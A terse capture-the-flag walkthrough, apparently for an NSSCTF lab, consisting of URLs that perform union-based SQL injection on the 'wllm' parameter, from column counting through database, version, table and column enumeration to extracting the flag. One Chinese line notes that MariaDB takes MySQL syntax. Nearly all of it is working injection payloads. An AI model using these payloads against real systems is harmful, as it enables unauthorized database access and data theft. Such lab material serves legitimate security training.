http://node4.anna.nssctf.cn:28711/?wllm=1′
http://node4.anna.nssctf.cn:28711/?wllm=-1′ order by 4–+
http://node4.anna.nssctf.cn:28711/?wllm=-1′ union select 1,2,3–+
http://node4.anna.nssctf.cn:28711/?wllm=-1′ union select 1,database(),user()–+
http://node4.anna.nssctf.cn:28711/?wllm=-1′ union select 1,@@version,user()–+
MariaDB数据库管理系统是MySQL的一个分支，说明需要使用mysql语句注入
http://node4.anna.nssctf.cn:28711/?wllm=-1′ union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema=’test_db’– +
http://node4.anna.nssctf.cn:28711/?wllm=-1′ union select 1, 2,group_concat(column_name) from information_schema.columns where table_name=’test_tb’– +
http://node4.anna.nssctf.cn:28711/?wllm=-1′ union select 1, 2,flag from test_tb– +
